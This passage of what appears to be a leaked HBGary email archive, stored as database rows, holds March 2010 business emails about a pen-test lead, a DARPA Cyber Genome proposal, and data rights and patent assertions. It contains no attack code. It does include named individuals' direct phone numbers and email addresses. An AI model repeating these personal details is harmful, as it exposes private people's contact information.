AM, Rich Cummings wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nJohn,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks\r\nfor the voicemail yesterday and I hope you&#8217;re doing well.&nbsp; Sorry for the\r\ndelayed response as I just returned from an intrusion investigation where an\r\nHBGary engineer and I booked over 250 hours of work in 9 days.&nbsp; I&#8217;m trying\r\nto play catch up now for the last 10 days.&nbsp; &nbsp;I&#8217;m CC&#8217;ing Penny and\r\nAaron Barr as HBGary Federal might be interested in pursuing the pen-test\r\nopportunity with you.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\nRich\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15991,'aaron_hbgary_com/15991.html'),(4600,'2010-03-26','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297002705.M354068P3547Q4600.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','HBGary\'s Data Rights Assertions','\r\n\r\n\r\n\r\n\r\nHi Ted,\r\n&nbsp;\r\nWe\'ve had several \r\nconversations with your team regarding HBGary\'s data rights assertions.&nbsp; I \r\nhaven\'t received the applicable completed Table from you that describes the \r\nAssertions.&nbsp; Please refer to my RFP Attachment 8, Item 7, 7.1 - 7.4 (I\'ve \r\nreattached).&nbsp; Please complete the applicable Table and return to me, Rex \r\nBrunelli and Ryan Vela ASAP&nbsp;Today.\r\n&nbsp;\r\nI also haven\'t received \r\nyour proposal cover letter that addresses all other items required by my RFP and \r\nAttachment 1.&nbsp; If I\'ve overlooked it please advise.\r\n&nbsp;\r\nThanks,\r\nCindy\r\n&nbsp;\r\n',14910,'aaron_hbgary_com/14910.html'),(4601,'2010-03-26','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002710.M593009P3547Q4601.eml','\"Aaron Barr\" <aaron@hbgary.com>','Doc with my content','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nAll changes are tracked.&nbsp; I made some changes in other\r\nsections in additions to the sections you wanted me to work.\r\n\r\n&nbsp;\r\n\r\nI will continue with the AFR = ACE section.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1700,'aaron_hbgary_com/1700.html'),(4602,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002712.M926655P3547Q4602.eml','\"Bob Slapnik\" <bob@hbgary.com>','Fwd: HBGary\'s Data Rights Assertions','\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Larson, Cindy S.\" \r\n> Date: March 26, 2010 2:14:00 PM EDT\r\n> To: \"Ted Vera\" \r\n> Cc: \"Brunelli, Rex\" , \"Wenthold, Russell L.\" , \"Barr Aaron\" \r\n> Subject: HBGary\'s Data Rights Assertions\r\n> \r\n> Hi Ted,\r\n>  \r\n> We\'ve had several conversations with your team regarding HBGary\'s data rights assertions.  I haven\'t received the applicable completed Table from you that describes the Assertions.  Please refer to my RFP Attachment 8, Item 7, 7.1 - 7.4 (I\'ve reattached).  Please complete the applicable Table and return to me, Rex Brunelli and Ryan Vela ASAP Today.\r\n>  \r\n> I also haven\'t received your proposal cover letter that addresses all other items required by my RFP and Attachment 1.  If I\'ve overlooked it please advise.\r\n>  \r\n> Thanks,\r\n> Cindy\r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10820,'aaron_hbgary_com/10820.html'),(4603,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002713.M241700P3547Q4603.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Doc with my content','This does not look like the right doc. &nbsp;I don\'t see any changes.On Mar 26, 2010, at 2:15 PM, Bob Slapnik wrote:Aaron,&nbsp;All changes are tracked.&nbsp; I made some changes in other sections in additions to the sections you wanted me to work.&nbsp;I will continue with the AFR = ACE section.&nbsp;Bob&nbsp;&lt;Cyber Genome TA3 Volume I Bob changes.docx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8114,'aaron_hbgary_com/8114.html'),(4604,'2010-03-26','\"John Edwards\" <John.Edwards@agilex.com>','/aaron@hbgary.com/new/1297002713.M436773P3547Q4604.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,,','Re: Voicemail re:services engagement','Call Ira about the opportunity - his direct number is 703-889-3900.On Mar 26, 2010, at 2:13 PM, Penny Leavy-Hoglund wrote:OK, who do we call?&nbsp; John or Ira regarding this?&nbsp;From:&nbsp;John Edwards [mailto:John.Edwards@agilex.com]&nbsp;Sent:&nbsp;Friday, March 26, 2010 8:19 AMTo:&nbsp;Rich CummingsCc:&nbsp;Aaron Barr; Penny Leavy-Hoglund; Ira Entis; Dave MartinSubject:&nbsp;Re: Voicemail re:services engagement&nbsp;Rich,Wow! &nbsp;I hope the 250 hour effort was successful.I look forward to talking to Penny and Aaron re this new opportunity.&nbsp;From our side, Ira Entis is going to be the focal point at LANL is in his Sector\'s AOR.I\'ve cc\'d Ira on this response.&nbsp;John&nbsp;On Mar 26, 2010, at 11:07 AM, Rich Cummings wrote:Hi John,&nbsp;Thanks for the voicemail yesterday and I hope you’re doing well.&nbsp; Sorry for the delayed response as I just returned from an intrusion investigation where an HBGary engineer and I booked over 250 hours of work in 9 days.&nbsp; I’m trying to play catch up now for the last 10 days.&nbsp; &nbsp;I’m CC’ing Penny and Aaron Barr as HBGary Federal might be interested in pursuing the pen-test opportunity with you.&nbsp;&nbsp;Best,Rich &nbsp;&nbsp;',3726,'aaron_hbgary_com/3726.html'),(4605,'2010-03-26','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297002713.M687112P3547Q4605.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','FW: HBGary\'s Data Rights Assertions','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\nHi Ted,\r\n&nbsp;\r\nDid you send GDAIS the attached document?&nbsp; I cannot locate an \r\nemail that provided this to us.\r\n&nbsp;\r\nAlso, I noticed that EUREKA is identified, but it shows SRI making \r\nthe assertion versus HBGary.&nbsp; \r\n&nbsp;\r\nPlease clarify.&nbsp; Thanks!\r\n&nbsp;\r\nCindy\r\n\r\n\r\nFrom: Wenthold, Russell L. Sent: \r\nFriday, March 26, 2010 11:18 AMTo: Larson, Cindy \r\nS.Subject: RE: HBGary\'s Data Rights Assertions\r\n\r\n\r\nCindy,\r\nHere&#8217;s \r\nwhat we received.&nbsp; Not sure who sent or who it was sent \r\nto.\r\n&nbsp;\r\nRuss\r\n&nbsp;\r\n\r\n\r\nFrom: Larson, Cindy S. \r\nSent: Friday, March 26, 2010 1:14 PMTo: \'Ted \r\nVera\'Cc: Brunelli, Rex; Wenthold, Russell L.; Barr \r\nAaronSubject: HBGary\'s Data Rights AssertionsImportance: \r\nHigh\r\n&nbsp;\r\n\r\nHi \r\nTed,\r\n\r\n&nbsp;\r\n\r\nWe\'ve had \r\nseveral conversations with your team regarding HBGary\'s data rights \r\nassertions.&nbsp; I haven\'t received the applicable completed Table from you \r\nthat describes the Assertions.&nbsp; Please refer to my RFP Attachment 8, Item \r\n7, 7.1 - 7.4 (I\'ve reattached).&nbsp; Please complete the applicable Table and \r\nreturn to me, Rex Brunelli and Ryan Vela \r\nASAP&nbsp;Today.\r\n\r\n&nbsp;\r\n\r\nI also \r\nhaven\'t received your proposal cover letter that addresses all other items \r\nrequired by my RFP and Attachment 1.&nbsp; If I\'ve overlooked it please \r\nadvise.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nCindy\r\n\r\n&nbsp;\r\n',1539,'aaron_hbgary_com/1539.html'),(4606,'2010-03-26','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002717.M450846P3547Q4606.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Doc with my content','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTry this one.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 26, 2010 2:20 PM\r\nTo: Bob Slapnik\r\nSubject: Re: Doc with my content\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThis does not look like the right doc. &nbsp;I don\'t see any\r\nchanges.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 26, 2010, at 2:15 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAll\r\nchanges are tracked.&nbsp; I made some changes in other sections in additions\r\nto the sections you wanted me to work.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nwill continue with the AFR = ACE section.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;Cyber\r\nGenome TA3 Volume I Bob changes.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/26/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14627,'aaron_hbgary_com/14627.html'),(4607,'2010-03-26','\"Wenthold, Russell L.\" <russ.wenthold@gd-ais.com>','/aaron@hbgary.com/new/1297002717.M766499P3547Q4607.eml','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Ted Vera\" <ted@hbgary.com>,\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Ted Vera\" <ted@hbgary.com>','RE: HBGary\'s Data Rights Assertions','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI built the table for TA 1 Tech Vol&#8230;.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Larson, Cindy S. \r\nSent: Friday, March 26, 2010 1:24 PM\r\nTo: \'Ted Vera\'\r\nCc: Brunelli, Rex; Wenthold, Russell L.; Barr Aaron\r\nSubject: FW: HBGary\'s Data Rights Assertions\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi\r\nTed,\r\n\r\n&nbsp;\r\n\r\nDid\r\nyou send GDAIS the attached document?&nbsp; I cannot locate an email that\r\nprovided this to us.\r\n\r\n&nbsp;\r\n\r\nAlso,\r\nI noticed that EUREKA is identified, but it shows SRI making the assertion\r\nversus HBGary.&nbsp; \r\n\r\n&nbsp;\r\n\r\nPlease\r\nclarify.&nbsp; Thanks!\r\n\r\n&nbsp;\r\n\r\nCindy\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Wenthold, Russell L. \r\nSent: Friday, March 26, 2010 11:18 AM\r\nTo: Larson, Cindy S.\r\nSubject: RE: HBGary\'s Data Rights Assertions\r\n\r\nCindy,\r\n\r\nHere&#8217;s what we received.&nbsp; Not sure who sent or who it was\r\nsent to.\r\n\r\n&nbsp;\r\n\r\nRuss\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Larson, Cindy S. \r\nSent: Friday, March 26, 2010 1:14 PM\r\nTo: \'Ted Vera\'\r\nCc: Brunelli, Rex; Wenthold, Russell L.; Barr Aaron\r\nSubject: HBGary\'s Data Rights Assertions\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHi Ted,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe\'ve had\r\nseveral conversations with your team regarding HBGary\'s data rights\r\nassertions.&nbsp; I haven\'t received the applicable completed Table from you\r\nthat describes the Assertions.&nbsp; Please refer to my RFP Attachment 8, Item\r\n7, 7.1 - 7.4 (I\'ve reattached).&nbsp; Please complete the applicable Table and\r\nreturn to me, Rex Brunelli and Ryan Vela ASAP&nbsp;Today.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI also\r\nhaven\'t received your proposal cover letter that addresses all other items\r\nrequired by my RFP and Attachment 1.&nbsp; If I\'ve overlooked it please advise.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nCindy\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3379,'aaron_hbgary_com/3379.html'),(4608,'2010-03-26','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297002717.M954524P3547Q4608.eml','\"Wenthold, Russell L.\" <russ.wenthold@gd-ais.com>,\"Wenthold, Russell L.\" <russ.wenthold@gd-ais.com>,','RE: HBGary\'s Data Rights Assertions','\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\nOkay, now I\'m confused.&nbsp; Your email says you don\'t \r\nknow who sent it.&nbsp; Are you talking about the Table?\r\n&nbsp;\r\n&nbsp;\r\n\r\n  \r\n  \r\n  From: Wenthold, Russell L. Sent: \r\n  Friday, March 26, 2010 11:25 AMTo: Larson, Cindy S.; \'Ted \r\n  Vera\'Cc: Brunelli, Rex; \'Barr Aaron\'Subject: RE: \r\n  HBGary\'s Data Rights Assertions\r\n  \r\n  \r\n  I \r\n  built the table for TA 1 Tech Vol&#8230;.\r\n  &nbsp;\r\n  \r\n  \r\n  From: Larson, Cindy S. \r\n  Sent: Friday, March 26, 2010 1:24 PMTo: \'Ted \r\n  Vera\'Cc: Brunelli, Rex; Wenthold, Russell L.; Barr \r\n  AaronSubject: FW: HBGary\'s Data Rights \r\n  AssertionsImportance: High\r\n  &nbsp;\r\n  Hi \r\n  Ted,\r\n  &nbsp;\r\n  Did you send GDAIS the \r\n  attached document?&nbsp; I cannot locate an email that provided this to \r\n  us.\r\n  &nbsp;\r\n  Also, I noticed that \r\n  EUREKA is identified, but it shows SRI making the assertion versus \r\n  HBGary.&nbsp; \r\n  &nbsp;\r\n  Please clarify.&nbsp; \r\n  Thanks!\r\n  &nbsp;\r\n  Cindy\r\n  &nbsp;\r\n  \r\n  \r\n  \r\n  From: Wenthold, Russell \r\n  L. Sent: Friday, March 26, 2010 11:18 AMTo: Larson, \r\n  Cindy S.Subject: RE: HBGary\'s Data Rights \r\n  Assertions\r\n  Cindy,\r\n  Here&#8217;s \r\n  what we received.&nbsp; Not sure who sent or who it was sent \r\n  to.\r\n  &nbsp;\r\n  Russ\r\n  &nbsp;\r\n  \r\n  \r\n  From: Larson, Cindy S. \r\n  Sent: Friday, March 26, 2010 1:14 PMTo: \'Ted \r\n  Vera\'Cc: Brunelli, Rex; Wenthold, Russell L.; Barr \r\n  AaronSubject: HBGary\'s Data Rights AssertionsImportance: \r\n  High\r\n  &nbsp;\r\n  \r\n  Hi \r\n  Ted,\r\n  \r\n  &nbsp;\r\n  \r\n  We\'ve had \r\n  several conversations with your team regarding HBGary\'s data rights \r\n  assertions.&nbsp; I haven\'t received the applicable completed Table from you \r\n  that describes the Assertions.&nbsp; Please refer to my RFP Attachment 8, Item \r\n  7, 7.1 - 7.4 (I\'ve reattached).&nbsp; Please complete the applicable Table and \r\n  return to me, Rex Brunelli and Ryan Vela \r\n  ASAP&nbsp;Today.\r\n  \r\n  &nbsp;\r\n  \r\n  I also \r\n  haven\'t received your proposal cover letter that addresses all other items \r\n  required by my RFP and Attachment 1.&nbsp; If I\'ve overlooked it please \r\n  advise.\r\n  \r\n  &nbsp;\r\n  \r\n  Thanks,\r\n  \r\n  Cindy\r\n  \r\n  &nbsp;\r\n',341,'aaron_hbgary_com/341.html'),(4609,'2010-03-26','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297002718.M280812P3547Q4609.eml','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Wenthold, Russell L.\" <russ.wenthold@gd-ais.com>,\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Wenthold, Russell L.\" <russ.wenthold@gd-ais.com>','RE: HBGary\'s Data Rights Assertions','\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\nOh, BTW&nbsp; in SRI\'s proposal attachment, they are identifying \r\nthe EUREKA as a NonCommerical assertion.&nbsp; The Table you sent to me is \r\nidentifying it as Commercial.\r\n&nbsp;\r\nRegards,\r\nCindy\r\n\r\n  \r\n  \r\n  From: Larson, Cindy S. Sent: \r\n  Friday, March 26, 2010 11:28 AMTo: Wenthold, Russell \r\n  L.Cc: Brunelli, Rex; \'Barr Aaron\'Subject: RE: HBGary\'s \r\n  Data Rights Assertions\r\n  \r\n  Okay, now I\'m confused.&nbsp; Your email says you \r\n  don\'t know who sent it.&nbsp; Are you talking about the \r\n  Table?\r\n  &nbsp;\r\n  &nbsp;\r\n  \r\n    \r\n    \r\n    From: Wenthold, Russell L. Sent: \r\n    Friday, March 26, 2010 11:25 AMTo: Larson, Cindy S.; \'Ted \r\n    Vera\'Cc: Brunelli, Rex; \'Barr Aaron\'Subject: RE: \r\n    HBGary\'s Data Rights Assertions\r\n    \r\n    \r\n    I \r\n    built the table for TA 1 Tech Vol&#8230;.\r\n    &nbsp;\r\n    \r\n    \r\n    From: Larson, Cindy \r\n    S. Sent: Friday, March 26, 2010 1:24 PMTo: \'Ted \r\n    Vera\'Cc: Brunelli, Rex; Wenthold, Russell L.; Barr \r\n    AaronSubject: FW: HBGary\'s Data Rights \r\n    AssertionsImportance: High\r\n    &nbsp;\r\n    Hi \r\n    Ted,\r\n    &nbsp;\r\n    Did you send GDAIS \r\n    the attached document?&nbsp; I cannot locate an email that provided this to \r\n    us.\r\n    &nbsp;\r\n    Also, I noticed that \r\n    EUREKA is identified, but it shows SRI making the assertion versus \r\n    HBGary.&nbsp; \r\n    &nbsp;\r\n    Please clarify.&nbsp; \r\n    Thanks!\r\n    &nbsp;\r\n    Cindy\r\n    &nbsp;\r\n    \r\n    \r\n    \r\n    From: Wenthold, \r\n    Russell L. Sent: Friday, March 26, 2010 11:18 AMTo: \r\n    Larson, Cindy S.Subject: RE: HBGary\'s Data Rights \r\n    Assertions\r\n    Cindy,\r\n    Here&#8217;s \r\n    what we received.&nbsp; Not sure who sent or who it was sent \r\n    to.\r\n    &nbsp;\r\n    Russ\r\n    &nbsp;\r\n    \r\n    \r\n    From: Larson, Cindy \r\n    S. Sent: Friday, March 26, 2010 1:14 PMTo: \'Ted \r\n    Vera\'Cc: Brunelli, Rex; Wenthold, Russell L.; Barr \r\n    AaronSubject: HBGary\'s Data Rights \r\n    AssertionsImportance: High\r\n    &nbsp;\r\n    \r\n    Hi \r\n    Ted,\r\n    \r\n    &nbsp;\r\n    \r\n    We\'ve had \r\n    several conversations with your team regarding HBGary\'s data rights \r\n    assertions.&nbsp; I haven\'t received the applicable completed Table from you \r\n    that describes the Assertions.&nbsp; Please refer to my RFP Attachment 8, \r\n    Item 7, 7.1 - 7.4 (I\'ve reattached).&nbsp; Please complete the applicable \r\n    Table and return to me, Rex Brunelli and Ryan Vela \r\n    ASAP&nbsp;Today.\r\n    \r\n    &nbsp;\r\n    \r\n    I also \r\n    haven\'t received your proposal cover letter that addresses all other items \r\n    required by my RFP and Attachment 1.&nbsp; If I\'ve overlooked it please \r\n    advise.\r\n    \r\n    &nbsp;\r\n    \r\n    Thanks,\r\n    \r\n    Cindy\r\n    \r\n    &nbsp;\r\n',14508,'aaron_hbgary_com/14508.html'),(4610,'2010-03-26','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002718.M539938P3547Q4610.eml','\"Aaron Barr\" <aaron@hbgary.com>,Cindy.Larson@gd-ais.com,\"Aaron Barr\" <aaron@hbgary.com>,Cindy.Larson@gd-ais.com','RE: HBGary\'s Data Rights Assertions','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCindy,\r\n\r\n&nbsp;\r\n\r\nHere is the info you requested&#8230;&#8230;..\r\n\r\n&nbsp;\r\n\r\nII.B.3&nbsp; Data Rights and Intellectual Property\r\n\r\nWe understand and appreciate\r\nDARPA&#8217;s needs for rights in data; therefore the data generated under this\r\ncontract will be delivered to the Government with Unlimited Rights. It is noted\r\nthat HBGary has developed two patented technologies that it brings to the table\r\nfor possible use to fulfill this requirement -- Digital DNA Sequence and Fuzzy\r\nHash Algorithm. We propose these technologies for possible use to\r\nfulfill this requirement; although it is possible these technologies may have\r\nno role in developing the methodology that DARPA seeks. At the very least, the\r\nteam will leverage the experience gained in developing these two\r\ntechnologies.&nbsp; If and to the extent that these two technologies become\r\ndeliverables in the resulting contract, HBGary will deliver them with\r\nRestricted Rights.&nbsp; (See table below).&nbsp; To the extent that any\r\nmodifications to these two existing, proprietary technologies need to be made,\r\nHBGary will perform such modifications under pre-existing administrative codes\r\nbilled to HBGary indirect accounts, and not charged under the contract.\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  Assertion of Technical\r\n  Data Rights in accordance with DFARS 252.227-7018\r\n  \r\n \r\n \r\n  \r\n  Technical Data\r\n  Computer Software To be Furnished With Restrictions\r\n  \r\n  \r\n  Basis for Assertion\r\n  &nbsp;\r\n  \r\n  \r\n  Asserted Rights\r\n  Category\r\n  &nbsp;\r\n  \r\n  \r\n  Name of Person\r\n  Asserting Restrictions\r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Digital DNA Sequence\r\n  \r\n  \r\n  Developed at Private\r\n  Expense\r\n  \r\n  \r\n  Restricted Rights\r\n  \r\n  \r\n  Bob Slapnik, Vice\r\n  President HBGary, Inc.\r\n  \r\n \r\n \r\n  \r\n  Fuzzy Hash Algorithm\r\n  \r\n  \r\n  Developed at Private\r\n  Expense\r\n  \r\n  \r\n  Restricted Rights\r\n  \r\n  \r\n  Bob Slapnik, Vice\r\n  President HBGary, Inc.\r\n  \r\n \r\n \r\n  \r\n  HBGary Digital\r\n  DNA&#8482; commercial software (1)\r\n  \r\n  \r\n  Developed at Private\r\n  Expense\r\n  \r\n  \r\n  Restricted Rights\r\n  \r\n  \r\n  Bob Slapnik, Vice\r\n  President HBGary, Inc.\r\n  \r\n \r\n \r\n  \r\n  HBGary\r\n  Responder&#8482; Professional commercial software (1)\r\n  \r\n  \r\n  Developed at Private\r\n  Expense and SBIR, non-severable\r\n  \r\n  \r\n  Restricted Rights\r\n  \r\n  \r\n  Bob Slapnik, Vice\r\n  President HBGary, Inc.\r\n  \r\n \r\n \r\n  \r\n  HBGary REcon&#8482;\r\n  commercial software (1)\r\n  \r\n  \r\n  Developed at Private\r\n  Expense and SBIR, non-severable\r\n  \r\n  \r\n  Restricted Rights\r\n  \r\n  \r\n  Bob Slapnik, Vice\r\n  President HBGary, Inc.\r\n  \r\n \r\n\r\n\r\nTable\r\n#: Existing Intellectual Property Table\r\n\r\n(1)&nbsp;&nbsp;\r\nData involved in and related to commercial software\r\nproducts listed above will not be delivered nor do they need to be delivered to\r\nfulfill the requirements of this BAA contract, if awarded, but will be\r\ndiscussed in the proposal.\r\n\r\nDigital DNA Sequence\r\n\r\nThe digital\r\nDNA sequencing engine is a system or method to evaluate any data object\r\nreceived via any device, network or physical memory based upon a set of rules\r\n(&#8220;genome&#8221;).&nbsp; The invention evaluates the contents of the\r\ndigital object and generates a digital DNA sequence, which permits the data\r\nobject to be classified into an object type.&nbsp; A trait has a rule, weight,\r\ntrait-code, and description.&nbsp; A DDNA sequence is\r\nformed by at least one expressed trait with reference to a particular data\r\nobject that has been evaluated by the DDNA engine.&nbsp; Typically, a DDNA\r\nsequence is formed by a set of expressed traits with reference to a particular\r\ndata object that has been evaluated by the DDNA engine.&nbsp; When a rule\r\nfires, then that means that the trait code (or trait) for that rule has been\r\nexpressed.&nbsp; In an embodiment of the invention, the traits can be\r\nconcatenated together as a single digital file (or string) that the user can\r\neasily access.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPatent application number: 12/386,970\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInventor name(s): Michael Gregory Hoglund\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAssignee names: HBGary, Inc.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFiling date:&nbsp; April 24, 2009\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFiling date of any related provisional\r\napplication: not applicable\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSummary of the patent title:&nbsp; Digital DNA\r\nSequence\r\n\r\nHBGary\'s ownership of the invention is indicated in Reel/Frame\r\n023009/0815 in the Assignment Division of the US Patent and Trademark Office.\r\n\r\nFuzzy Hash Algorithm\r\n\r\nAn embodiment\r\nof the invention provides an algorithm that will generate a fuzzy hash value to\r\nidentify contents of a data object and to classify a data object.&nbsp; A\r\ndigital DNA sequencing engine may be used to execute the fuzzy hash\r\nalgorithm.&nbsp; A fuzzy hash value is a calculated sequence of bytes (e.g.,\r\nhexadecimal bytes).&nbsp; A data stream is data content of a data object.&nbsp;\r\nThe algorithm will place meta-tags (i.e., metadata tags) in a buffer, where a\r\nmeta-tag corresponds to a value in the data stream.&nbsp; The fuzzy hash value\r\ncan be calculated against varied data streams and can then be used to determine\r\nthe percentage of match between those data streams.&nbsp; \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPatent application number: 12/459,203\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInventor name(s): Michael Gregory Hoglund\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAssignee names: HBGary, Inc.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFiling date:&nbsp; June 26, 2009\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFiling date of any related provisional\r\napplication: not applicable\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSummary of the patent title:&nbsp; Fuzzy Hash\r\nAlgorithm\r\n\r\n&nbsp;\r\n\r\nHBGary\'s ownership of the\r\ninvention is indicated in Reel/Frame 023441/0496 in the Assignment Division of\r\nthe US Patent and Trademark Office.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron 